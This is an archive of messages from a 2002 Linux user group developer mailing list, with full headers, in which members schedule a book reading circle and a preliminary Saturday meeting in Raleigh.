([66.26.236.160]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 19 Feb 2002 10:53:33 -0500 Date: Tue, 19 Feb 2002 10:53:34 -0500 Subject: Re: [Dev] Are we on for a prelim meeting on the 23rd? And meeting the 2nd and 4th Saturdays? (was: Reading Circle) Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v480) From: Bill Vinson To: dev@trilug.org Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.480) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tuesday, February 19, 2002, at 10:43 AM, prhodes@vdsinc.com wrote: > It seems that nobody has spoken up yet, with any opposition to meeting > the > 2nd and 4th Saturdays of the month, > for our little reading circle. So, unless somebody has something to say > about it now, we're going to adopt that? > > Also, are some (all, even?) of you up for a preliminary meeting on the > 23rd > ( this Saturday )? I'm up for a meeting this Saturday. Bill From brent@mutt.rcfile.org Tue Feb 19 10:56:31 2002 Received: from mail4.nc.rr.com ([24.93.67.51]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id KAA06116 for ; Tue, 19 Feb 2002 10:56:31 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 19 Feb 2002 10:58:24 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1JFw6R73901 for dev@trilug.org; Tue, 19 Feb 2002 10:58:06 -0500 (EST) (envelope-from brent) Date: Tue, 19 Feb 2002 10:58:06 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Are we on for a prelim meeting on the 23rd? And meeting the 2nd and 4th Saturdays? (was: Reading Circle) Message-ID: <20020219155806.GA73836@rcfile.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-02-19 10:43] prhodes@vdsinc.com said: | It seems that nobody has spoken up yet, with any opposition to meeting the | 2nd and 4th Saturdays of the month, | for our little reading circle. So, unless somebody has something to say | about it now, we're going to adopt that? sounds good to me. | Also, are some (all, even?) of you up for a preliminary meeting on the 23rd | ( this Saturday )? There seemed | to be some consensus to allow a couple of weeks before the first "real" | meeting, to allow people to | get their books and "brush up".... but their seemed to be some support for | the idea of a "prelim" meeting | this weekend, to discuss how this is going to work, etc. Probably it will | just turn into some geeks B.S.'ing | about geek stuff, but hey..... I'd not be opposed to a couple/few hours of B.S.'ing around. | Anyway, let's decide what we want to do.... I'm not sure what the status of | Brent's conference room is, | but I imagine that we need to decide something soon, so he can make sure | the room is reserved, if | we are indeed going to meet this week. I have the room reserved for Saturday, 23 Feb, if we do end up doing a preliminary meeting. cheers. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From bhu5nji@yahoo.com Tue Feb 19 11:09:29 2002 Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA06251 for ; Tue, 19 Feb 2002 11:09:29 -0500 Received: from user-2ivf4b7.dsl.mindspring.com ([165.247.145.103] helo=there) by mclean.mail.mindspring.net with smtp (Exim 3.33 #1) id 16dCrd-0005oo-00 for dev@trilug.org; Tue, 19 Feb 2002 11:11:33 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] Are we on for a prelim meeting on the 23rd? And meeting the 2nd and 4th Saturdays? (was: Reading Circle) Date: Tue, 19 Feb 2002 11:08:27 -0500 X-Mailer: KMail [version 1.3.1] References: <20020219155806.GA73836@rcfile.org> In-Reply-To: <20020219155806.GA73836@rcfile.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tuesday 19 February 2002 10:58 am, you wrote: > [2002-02-19 10:43] prhodes@vdsinc.com said: > | It seems that nobody has spoken up yet, with any opposition to meeting > | the 2nd and 4th Saturdays of the month, > | for our little reading circle. So, unless somebody has something to say > | about it now, we're going to adopt that? > > sounds good to me. ditto > > | Also, are some (all, even?) of you up for a preliminary meeting on the > | 23rd ( this Saturday )? There seemed > | to be some consensus to allow a couple of weeks before the first "real" > | meeting, to allow people to > | get their books and "brush up".... but their seemed to be some support > | for the idea of a "prelim" meeting > | this weekend, to discuss how this is going to work, etc. Probably it > | will just turn into some geeks B.S.'ing > | about geek stuff, but hey..... > > I'd not be opposed to a couple/few hours of B.S.'ing around. I have a permission slip that good for 1 hour. > > | Anyway, let's decide what we want to do.... I'm not sure what the status > | of Brent's conference room is, > | but I imagine that we need to decide something soon, so he can make sure > | the room is reserved, if > | we are indeed going to meet this week. > > I have the room reserved for Saturday, 23 Feb, if we do end up doing > a preliminary meeting. > > cheers. > brent From matthew.todd@alumni.duke.edu Tue Feb 19 11:12:42 2002 Received: from mail7.nc.rr.com ([24.93.67.54]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA06288 for ; Tue, 19 Feb 2002 11:12:41 -0500 Received: from oemcomputer ([152.16.0.116]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 19 Feb 2002 11:13:19 -0500 Message-ID: <00e001c1b960$4fcfc520$74001098@wireless.duke.edu> From: "Matthew Todd" To: References: Subject: Re: [Dev] Are we on for a prelim meeting on the 23rd? And meeting the 2nd and 4th Saturdays? (was: Reading Circle) Date: Tue, 19 Feb 2002 11:13:04 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: All good for me. (Prelim 23rd, 2nd & 4th Saturdays.) Also, after last night's TriJUG talk[1], I'm wondering if a book like Pragmatic Programming[2,3] would be interesting for the group after/alongside the Design Patterns book. Matthew [1] http://www.trijug.org/nextmeeting.html , will probably move to http://www.trijug.org/meetings/2002Feb.html [2] http://www.pragmaticprogrammer.com/ppbook/ [3] http://slashdot.org/books/00/02/15/1912222.shtml ----- Original Message ----- From: To: Sent: Tuesday, February 19, 2002 10:43 AM Subject: [Dev] Are we on for a prelim meeting on the 23rd? And meeting the 2nd and 4th Saturdays? (was: Reading Circle) > It seems that nobody has spoken up yet, with any opposition to meeting the > 2nd and 4th Saturdays of the month, > for our little reading circle. So, unless somebody has something to say > about it now, we're going to adopt that? > > Also, are some (all, even?) of you up for a preliminary meeting on the 23rd > ( this Saturday )? There seemed > to be some consensus to allow a couple of weeks before the first "real" > meeting, to allow people to > get their books and "brush up".... but their seemed to be some support for > the idea of a "prelim" meeting > this weekend, to discuss how this is going to work, etc. Probably it will > just turn into some geeks B.S.'ing > about geek stuff, but hey..... > > Anyway, let's decide what we want to do.... I'm not sure what the status of > Brent's conference room is, > but I imagine that we need to decide something soon, so he can make sure > the room is reserved, if > we are indeed going to meet this week. > > TTYL, > > Phillip Rhodes > Application Designer > Voice Data Solutions > 919-571-4300 x225 > prhodes@vdsinc.com > > America is at war with Afghanistan. America has always been at war with > Afghanistan. Russia is our ally. Russia has always been our ally. > > Read Orwell's 1984. Read a newspaper. Fear the future. > > The history of liberty is a history of resistance. The history of liberty > is a history of limitations of governmental power, not the increase of it. > - Woodrow Wilson Speech in New York, September 9, 1912 > > Those who are willing to sacrifice essential liberties for a little order, > will lose both and deserve neither. - Benjamin Franklin > > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev > > From prhodes@vdsinc.com Tue Feb 19 11:34:50 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA06374 for ; Tue, 19 Feb 2002 11:34:50 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AGD07776; Tue, 19 Feb 2002 11:36:52 -0500 (EST) Subject: Re: [Dev] Are we on for a prelim meeting on the 23rd? And meeting the 2nd and 4th Saturdays? (was: Reading Circle) To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Tue, 19 Feb 2002 11:42:29 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/19/2002 11:42:32 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > I have the room reserved for Saturday, 23 Feb, if we do end up doing > a preliminary meeting. Cool! Can you post address / directions? Also, what time do you all want to shoot for. I think we kinda narrowed it down to "sometime between 1 and 3", but that's still pretty vague... TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From bhu5nji@yahoo.com Tue Feb 19 11:51:44 2002 Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA06451 for ; Tue, 19 Feb 2002 11:51:44 -0500 Received: from user-2ivf4b7.dsl.mindspring.com ([165.247.145.103] helo=there) by smtp10.atl.mindspring.net with smtp (Exim 3.33 #1) id 16dDWW-000244-00 for dev@trilug.org; Tue, 19 Feb 2002 11:53:48 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] Are we on for a prelim meeting on the 23rd? And meeting the 2nd and 4th Saturdays? (was: Reading Circle) Date: Tue, 19 Feb 2002 11:50:43 -0500 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tuesday 19 February 2002 11:42 am, you wrote: > > I have the room reserved for Saturday, 23 Feb, if we do end up doing > > a preliminary meeting. > > Cool! Can you post address / directions? > > Also, what time do you all want to shoot for. I think we kinda narrowed > it down to "sometime between 1 and 3", but that's still pretty vague... > I vote 1pm. > TTYL, > > Phillip Rhodes > Application Designer > Voice Data Solutions > 919-571-4300 x225 > prhodes@vdsinc.com > > America is at war with Afghanistan. America has always been at war with > Afghanistan. Russia is our ally. Russia has always been our ally. > > Read Orwell's 1984. Read a newspaper. Fear the future. > > The history of liberty is a history of resistance. The history of liberty > is a history of limitations of governmental power, not the increase of it. > - Woodrow Wilson Speech in New York, September 9, 1912 > > Those who are willing to sacrifice essential liberties for a little order, > will lose both and deserve neither. - Benjamin Franklin > > > > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev From matthew.todd@alumni.duke.edu Tue Feb 19 12:01:41 2002 Received: from mail5.nc.rr.com (fe5.southeast.rr.com [24.93.67.52]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id MAA06617 for ; Tue, 19 Feb 2002 12:01:41 -0500 Received: from oemcomputer ([152.16.0.116]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 19 Feb 2002 12:03:44 -0500 Message-ID: <011a01c1b967$5acc6800$74001098@wireless.duke.edu> From: "Matthew Todd" To: References: Subject: Re: [Dev] Are we on for a prelim meeting on the 23rd? And meeting the 2nd and 4th Saturdays? (was: Reading Circle) Date: Tue, 19 Feb 2002 12:03:29 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > > Also, what time do you all want to shoot for. I think we kinda narrowed > > it down to "sometime between 1 and 3", but that's still pretty vague... > > I vote 1pm. Second. From jvmatthe@math.duke.edu Tue Feb 19 12:47:00 2002 Received: from math.duke.edu (augustus.math.duke.edu [152.3.25.8]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id MAA06885 for ; Tue, 19 Feb 2002 12:46:59 -0500 Received: from ph4tp1p3 (ph4tp1p3 [152.3.25.77]) by math.duke.edu (8.11.6/8.11.6) with ESMTP id g1JHn4Y15489 for ; Tue, 19 Feb 2002 12:49:04 -0500 Subject: Re: [Dev] Are we on for a prelim meeting on the 23rd? And meeting the 2nd and 4th Saturdays? (was: Reading Circle) From: John Matthews To: dev@trilug.org In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/1.0.2 (1.0.2-2.7x) Date: 19 Feb 2002 12:49:04 -0500 Message-Id: <1014140944.2658.18.camel@ph4tp1p3> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tue, 2002-02-19 at 10:43, prhodes@vdsinc.com wrote: > Also, are some (all, even?) of you up for a preliminary meeting on the 23rd > ( this Saturday )? Bro is getting married this weekend. Won't be able to make it, but I'll watch this list for the next meeting. :^| Regards, matt -- Matt Matthews \ ph: 919.660.2811 \ Use GNU/Linux _o) w00t Duke Univ., Postdoc\ jvmatthe@math.duke.edu \____________ /\\ Dept. of Mathematics\ http://www.math.duke.edu/~jvmatthe/ \ _\_V From billvinson@nc.rr.com Tue Feb 19 12:54:38 2002 Received: from mail4.nc.rr.com ([24.93.67.51]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id MAA06948 for ; Tue, 19 Feb 2002 12:54:38 -0500 Received: from localhost ([66.26.236.160]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 19 Feb 2002 12:56:23 -0500 Date: Tue, 19 Feb 2002 12:56:02 -0500 Subject: Re: [Dev] Are we on for a prelim meeting on the 23rd? And meeting the 2nd and 4th Saturdays? (was: Reading Circle) Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v480) From: Bill Vinson To: dev@trilug.org Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.480) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tuesday, February 19, 2002, at 11:50 AM, M. Mueller (bhu5nji) wrote: > On Tuesday 19 February 2002 11:42 am, you wrote: >>> I have the room reserved for Saturday, 23 Feb, if we do end up doing >>> a preliminary meeting. >> >> Cool! Can you post address / directions? >> >> Also, what time do you all want to shoot for. I think we kinda >> narrowed >> it down to "sometime between 1 and 3", but that's still pretty vague... >> > > I vote 1pm. I vote for 1PM as well... Bill From brent@mutt.rcfile.org Tue Feb 19 12:56:56 2002 Received: from Mail6.nc.rr.com ([24.93.67.53]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id MAA06982 for ; Tue, 19 Feb 2002 12:56:56 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 19 Feb 2002 12:58:20 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1JHwO374643 for dev@trilug.org; Tue, 19 Feb 2002 12:58:24 -0500 (EST) (envelope-from brent) Date: Tue, 19 Feb 2002 12:58:24 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Are we on for a prelim meeting on the 23rd? And meeting the 2nd and 4th Saturdays? (was: Reading Circle) Message-ID: <20020219175824.GA74577@rcfile.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-02-19 11:50] M. Mueller (bhu5nji) said: | On Tuesday 19 February 2002 11:42 am, you wrote: | > > I have the room reserved for Saturday, 23 Feb, if we do end up doing | > > a preliminary meeting. | > | > Cool! Can you post address / directions? | > | > Also, what time do you all want to shoot for. I think we kinda narrowed | > it down to "sometime between 1 and 3", but that's still pretty vague... | > | | I vote 1pm. +1 The address of the building is 512 Brickhaven Dr., Raleigh. If y'all need more directions, let me know. cheers. brent | > TTYL, | > | > Phillip Rhodes | > Application Designer | > Voice Data Solutions | > 919-571-4300 x225 | > prhodes@vdsinc.com | > | > America is at war with Afghanistan. America has always been at war with | > Afghanistan. Russia is our ally. Russia has always been our ally. | > | > Read Orwell's 1984. Read a newspaper. Fear the future. | > | > The history of liberty is a history of resistance. The history of liberty | > is a history of limitations of governmental power, not the increase of it. | > - Woodrow Wilson Speech in New York, September 9, 1912 | > | > Those who are willing to sacrifice essential liberties for a little order, | > will lose both and deserve neither. - Benjamin Franklin | > | > | > | > | > _______________________________________________ | > Dev mailing list | > Dev@trilug.org | > http://www.trilug.org/mailman/listinfo/dev | _______________________________________________ | Dev mailing list | Dev@trilug.org | http://www.trilug.org/mailman/listinfo/dev -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From prhodes@vdsinc.com Tue Feb 19 13:51:08 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA07312 for ; Tue, 19 Feb 2002 13:51:08 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AGD27899; Tue, 19 Feb 2002 13:53:09 -0500 (EST) Subject: Re: [Dev] Are we on for a prelim meeting on the 23rd? And meeting the 2nd and 4th Saturdays? (was: Reading Circle) To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Tue, 19 Feb 2002 13:58:42 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/19/2002 01:58:49 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > The address of the building is 512 Brickhaven Dr., Raleigh. If y'all > need more directions, let me know. Sounds like 1pm it is, then. Brent, I'll need more detailed directions. I don't know that part of Raleigh real well. In fact, I'm not even sure where Brickhaven Dr. is. I'll be coming in on I-40, from Chapel Hill way. So if you could provide directions from off the beltline, that would be great for me. It would also appreciate directions from the Glenwood Ave., Crabtree Valley area. I work out that way, and I *might* be coming to the first meeting from my office, if I come in to work a little that morning. Thanks, Phillip R. From justin@eCotton.com Tue Feb 19 16:50:08 2002 Received: from ecotton.com ([204.118.220.90]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id QAA08968 for ; Tue, 19 Feb 2002 16:50:07 -0500 Received: from JUSTIN [204.118.220.108] by ecotton.com (SMTPD32-7.04) id A86F170092; Tue, 19 Feb 2002 16:49:35 -0500 From: "Justin Johnson" To: "TRILUG_DEV \(E-mail\)" Date: Tue, 19 Feb 2002 16:52:14 -0500 Message-ID: <000701c1b98f$b1b8ba60$6cdc76cc@JUSTIN> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [Dev] Reading Circle Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I just saw Tanner's post on the other list, and so I went and subscribed to the dev list. Where are you guys in regards to the Reading Group? I have been toying with the idea of reading this book, but wasn't quite sure I was ready for it. I'd LOVE to get in on this if it isn't already too far along. Having a group to discuss this with would be a great opportunity, IMHO. This is all of course if you guys don't mind a WIN/Delphi | Linux/Kylix dork in the mix.... :-) Thanks, Justin From brent@mutt.rcfile.org Tue Feb 19 17:10:07 2002 Received: from mail4.nc.rr.com (fe4.southeast.rr.com [24.93.67.51]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id RAA09225 for ; Tue, 19 Feb 2002 17:10:06 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 19 Feb 2002 17:12:32 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1JMCHd76777 for dev@trilug.org; Tue, 19 Feb 2002 17:12:17 -0500 (EST) (envelope-from brent) Date: Tue, 19 Feb 2002 17:12:17 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Reading Circle Message-ID: <20020219221217.GA76661@rcfile.org> References: <000701c1b98f$b1b8ba60$6cdc76cc@JUSTIN> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <000701c1b98f$b1b8ba60$6cdc76cc@JUSTIN> User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-02-19 16:52] Justin Johnson said: | I just saw Tanner's post on the other list, and so I went and subscribed to | the dev list. welcome! | Where are you guys in regards to the Reading Group? I have been toying with | the idea of | reading this book, but wasn't quite sure I was ready for it. I'd LOVE to get | in on this if it isn't already | too far along. Having a group to discuss this with would be a great | opportunity, IMHO. We are having a preliminary meeting in Raleigh on Saturday, 23 Feb. I'll be replying to an earlier message with specifics on the location, so keep your eye on the list. [expletive censored :-)] cheers. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From prhodes@vdsinc.com Tue Feb 19 17:29:14 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id RAA09417 for ; Tue, 19 Feb 2002 17:29:14 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AGD59440; Tue, 19 Feb 2002 17:31:17 -0500 (EST) Subject: Re: [Dev] Reading Circle To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Tue, 19 Feb 2002 17:36:54 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/19/2002 05:36:57 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > I just saw Tanner's post on the other list, and so I went and subscribed to > the dev list. Cool! > Where are you guys in regards to the Reading Group? I have been toying with > the idea of reading this book, but wasn't quite sure I was ready for it. > I'd LOVE to get in on this if it isn't already too far along. Not at all. We're basically still in the planning phase. What we have so far is this, AFAIK: We'll meet twice a month, on the 2nd and 4th Saturdays of the month, somewhere between 1 and 3pm. We settled on 1:00pm for the "prelim" meeting this weekend, but I don't know if that will become the offical time for all meetings... discussing things like that is part of what this weekend's meeting is about. We are to meet at Brent Verner's place of employment, for now at least. He has a conference room there he can reserve for our weekend meetings. I've asked him to post more detailed directions, so I expect those to be coming soon. Just keep watching this list, and you should see them show up. Somebody else, Mike Mueller I think ( apologies if I'm getting this wrong ), has offered the use of an outdoor facility for nice warm summer days. So maybe we'll switch around from time to time.... Anyway, as it stands now, I think we're tenatively planning our first "real" meeting for the 2nd Sat in March, which would be March 8. The meeting this weekend is kind of a planning meeting / chat session. Please come out anyway, if you're interested. It will be a chance for some of us to meet, who haven't met in real life before, as well as figure out exactly how this group is going to work. TTYL, Phillip From bhu5nji@yahoo.com Tue Feb 19 18:18:03 2002 Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id SAA09827 for ; Tue, 19 Feb 2002 18:18:03 -0500 Received: from user-2ivf4b7.dsl.mindspring.com ([165.247.145.103] helo=there) by smtp10.atl.mindspring.net with smtp (Exim 3.33 #1) id 16dJYG-00001z-00 for dev@trilug.org; Tue, 19 Feb 2002 18:20:00 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] Reading Circle Date: Tue, 19 Feb 2002 18:16:52 -0500 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tuesday 19 February 2002 05:36 pm, you wrote: > Somebody else, Mike Mueller I think ( apologies if I'm getting this wrong > ), > has offered the use of an outdoor facility for nice warm summer days. > So maybe we'll switch around from time to time.... Correct-o-mundo. Big pecan tree. Tin roof. Galvanized tub full of ice and refreshments. Design patterns. STL. OO. What could be better? Mike M. From prhodes@vdsinc.com Tue Feb 19 18:27:57 2002 Received: from mailrtr2.mailzone.edeltacom.com 